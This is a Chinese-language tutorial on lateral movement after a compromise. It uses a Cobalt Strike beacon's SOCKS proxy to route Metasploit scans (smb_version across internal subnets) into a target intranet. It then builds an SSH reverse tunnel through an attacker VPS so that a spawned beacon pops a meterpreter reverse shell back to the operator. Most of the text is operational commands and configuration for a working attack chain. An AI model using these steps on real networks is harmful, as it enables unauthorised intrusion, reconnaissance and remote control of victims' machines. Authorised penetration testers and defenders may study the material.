通过beacon内置的socks功能将本地Msf直接代入目标内网进行操作

首先,到已控目标内网机器的beacon shell下把socks起起来

1
2
beacon> getuid
beacon> socks 1080

1566202123619

接着,点开cs菜单找到 “Proxy Pivots” 复制生成的msf代理链接

1566202164641

本地启动msf,挂着上面生成的代理链接,即可直接对目标内网进行各种探测

1
2
3
4
5
6
7

msf > setg Proxies socks4:172.16.252.11:1080 意思就是让本地的msf走上面cs的socks代理
msf > setg ReverseAllowProxy true 建双向通道
msf > use auxiliary/scanner/smb/smb_version 拿着msf中的各类探测模块对目标内网进行正常探测即可,比如,识别目标内网所有windows机器的详细系统版本,机器名和所在域
msf > set rhosts 172.17.180.0/24 指定CIDR格式的目标内网段,掩码可根据实际情况给的大一点,比如,0/20,0/16...
msf > set threads 1 线程不易给的太大,可根据目标实际情况,控制在10以内
msf > run

1566203284050

尝试借助CobaltStrike的外部tcp监听器通过ssh隧道直接派生一个meterpreter 的 shell 到本地

先在cs上创建一个tcp的外部监听器,回连端口设为8080

1566219775310

接着,到本地机器把msf起起来,并创建如下监听器

1
2
3
4
5
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp 注:此处的协议格式务必要和上面cs外部监听器的协议对应,不然meter是无法正常回连的
msf > set lhost 192.168.0.109
msf > set lport 8080
msf > exploit

1566219843294

随后,回到自己的vps机器上编辑sshd配置,开启ssh转发功能,重启ssh服务。

1
2
3
4
5
6
# vi/etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# systemctl restartsshd.service

再次回到自己本地的linux中并通过ssh隧道做好如下转发,意思就是通过1.1.1.1 这台机器把来自外部的8080端口流量全部转到我本地192.168.3.137的8080端口上,而本地192.168.0.109的8080端口上跑的又正好是meter的监听器,所以,最终才会造成meterpreter本地上线的效果

1
# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.0.109:8080 root@1.1.1.1 -p 22

1566220724560

隧道建立之后,习惯性的到vps上去看一眼,刚才通过隧道监听的8080端口到底有没有起来,确实起起来了才说明隧道才是通的,另外,监听的端口不能和vps机器上的现有端口冲突,否则隧道是建不成功的

1
# netstat -tulnp |grep '8080'

1566220672720

最终,回到cs上选择目标内网指定机器的beacon shell 点击 “Spawn” 派生,再选择刚在上面创建好的tcp的外部监听器,相应目标机器的meterpreter就会被直接弹到本地,如下,当然,你也可以批量选择进行操作

1566220789339

1566220870785